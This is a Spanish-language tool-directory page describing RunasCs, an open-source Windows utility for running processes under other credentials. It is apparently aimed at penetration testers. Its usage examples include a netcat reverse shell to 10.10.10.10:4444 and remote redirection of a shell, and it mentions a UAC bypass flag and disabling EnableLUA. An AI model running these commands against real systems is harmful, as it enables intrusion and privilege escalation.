Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
RunasCs — RunasCs - Csharp and open version of windows builtin runas.exe | Kitploit
Herramientas/GitHubGitHub/antoniococo/runascs
Privilege EscalationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingRed Teaming
GitHubantoniococo/runascs

RunasCs

RunasCs - Csharp and open version of windows builtin runas.exe

Ver Repositorio
1.4k161hace 2 añosRevisado por Kitploit

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

RunasCs


RunasCs es una utilidad para ejecutar procesos específicos con permisos diferentes a los que proporciona el inicio de sesión actual del usuario, usando credenciales explícitas. Esta herramienta es una versión mejorada y de código abierto del runas.exe integrado de Windows que resuelve algunas limitaciones:

  • Permite credenciales explícitas
  • Funciona tanto si se lanza desde un proceso interactivo como desde un proceso de servicio
  • Gestiona correctamente los DACL de las Window Stations y Desktop para la creación del nuevo proceso
  • Utiliza funciones de creación de procesos más fiables, como CreateProcessAsUser() y CreateProcessWithTokenW(), si el proceso que realiza la llamada tiene los privilegios necesarios (detección automática)
  • Permite especificar el tipo de inicio de sesión, p. ej., inicio de sesión 8-NetworkCleartext (sin limitaciones de UAC)
  • Permite omitir UAC cuando se conoce la contraseña de un administrador (flag --bypass-uac)
  • Permite crear un proceso con el hilo principal suplantando al usuario solicitado (flag --remote-impersonation)
  • Permite redirigir stdin, stdout y stderr a un host remoto
  • Es de código abierto :)

RunasCs tiene una detección automática para determinar la mejor función de creación de procesos para cada contexto. Según los permisos del token del proceso que realiza la llamada, usará una de las funciones de creación de procesos en el siguiente orden de preferencia:

  1. CreateProcessAsUserW()
  2. CreateProcessWithTokenW()
  3. CreateProcessWithLogonW()

Requisitos


.NET Framework >= 2.0

Uso


root@kitploit:~
RunasCs v1.5 - @splinter_code

Usage:
    RunasCs.exe username password cmd [-d domain] [-f create_process_function] [-l logon_type] [-r host:port] [-t process_timeout] [--force-profile] [--bypass-uac] [--remote-impersonation]

Description:
    RunasCs is an utility to run specific processes under a different user account
    by specifying explicit credentials. In contrast to the default runas.exe command
    it supports different logon types and CreateProcess* functions to be used, depending
    on your current permissions. Furthermore it allows input/output redirection (even
    to remote hosts) and you can specify the password directly on the command line.

Positional arguments:
    username                username of the user
    password                password of the user
    cmd                     commandline for the process

Optional arguments:
    -d, --domain domain
                            domain of the user, if in a domain.
                            Default: ""
    -f, --function create_process_function
                            CreateProcess function to use. When not specified
                            RunasCs determines an appropriate CreateProcess
                            function automatically according to your privileges.
                            0 - CreateProcessAsUserW
                            1 - CreateProcessWithTokenW
                            2 - CreateProcessWithLogonW
    -l, --logon-type logon_type
                            the logon type for the token of the new process.
                            Default: "2" - Interactive
    -t, --timeout process_timeout
                            the waiting time (in ms) for the created process.
                            This will halt RunasCs until the spawned process
                            ends and sent the output back to the caller.
                            If you set 0 no output will be retrieved and a
                            background process will be created.
                            Default: "120000"
    -r, --remote host:port
                            redirect stdin, stdout and stderr to a remote host.
                            Using this option sets the process_timeout to 0.
    -p, --force-profile
                            force the creation of the user profile on the machine.
                            This will ensure the process will have the
                            environment variables correctly set.
                            WARNING: If non-existent, it creates the user profile
                            directory in the C:\Users folder.
    -b, --bypass-uac
                            try a UAC bypass to spawn a process without
                            token limitations (not filtered).
    -i, --remote-impersonation
                            spawn a new process and assign the token of the
                            logged on user to the main thread.

Examples:
    Run a command as a local user
        RunasCs.exe user1 password1 "cmd /c whoami /all"
    Run a command as a domain user and logon type as NetworkCleartext (8)
        RunasCs.exe user1 password1 "cmd /c whoami /all" -d domain -l 8
    Run a background process as a local user,
        RunasCs.exe user1 password1 "C:\tmp\nc.exe 10.10.10.10 4444 -e cmd.exe" -t 0
    Redirect stdin, stdout and stderr of the specified command to a remote host
        RunasCs.exe user1 password1 cmd.exe -r 10.10.10.10:4444
    Run a command simulating the /netonly flag of runas.exe
        RunasCs.exe user1 password1 "cmd /c whoami /all" -l 9
    Run a command as an Administrator bypassing UAC
        RunasCs.exe adm1 password1 "cmd /c whoami /priv" --bypass-uac
    Run a command as an Administrator through remote impersonation
        RunasCs.exe adm1 password1 "cmd /c echo admin > C:\Windows\admin" -l 8 --remote-impersonation

Los dos procesos (el que llama y el llamado) se comunicarán a través de un pipe (tanto para stdout como para stderr). El tipo de inicio de sesión predeterminado es 2 (Interactive).

De forma predeterminada, el tipo de inicio de sesión Interactive (2) está restringido por UAC y los tokens generados por estas autenticaciones están filtrados. Puede hacer un inicio de sesión interactivo sin restricciones estableciendo la siguiente clave de registro en 0 y reiniciando el servidor:

root@kitploit:~
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA

De lo contrario, puede probar el flag --bypass-uac para intentar omitir la limitación de filtrado de tokens.

El tipo de inicio de sesión NetworkCleartext (8) es el que tiene los permisos más amplios, ya que no es filtrado por UAC en los tokens locales y aún permite autenticaciones a través de la red porque almacena las credenciales en el paquete de autenticación. Si dispone de privilegios suficientes, intente especificar siempre este tipo de inicio de sesión mediante el flag --logon-type 8.

De forma predeterminada, el proceso que realiza la llamada (RunasCs) esperará hasta que finalice la ejecución del proceso generado. Si necesita generar un proceso en segundo plano o asíncrono, p. ej., una reverse shell, debe establecer el parámetro -t timeout en 0. En este caso, RunasCs no esperará a que termine la ejecución del proceso recién generado.

Referencias


  • Patatas y tokens
  • Iniciar un proceso de cliente interactivo en C++
  • Crear un proceso secundario con entrada y salida redirigidas
  • Servicios interactivos
  • ¿Qué ocurre con el error "The application failed to initialize properly (0xc0000142)"?
  • Obtener un shell de cuenta de servicio interactivo
  • Cómo moverse por UAC (Parte 1)
  • Cómo moverse por UAC (Parte 2)
  • Cómo moverse por UAC (Parte 3)
  • Vanara: un conjunto de bibliotecas .NET para Windows que implementa llamadas PInvoke a muchas API nativas de Windows con wrappers de soporte

Créditos


  • @decoder
  • @qtc-de
  • @winlogon0
Descargar herramienta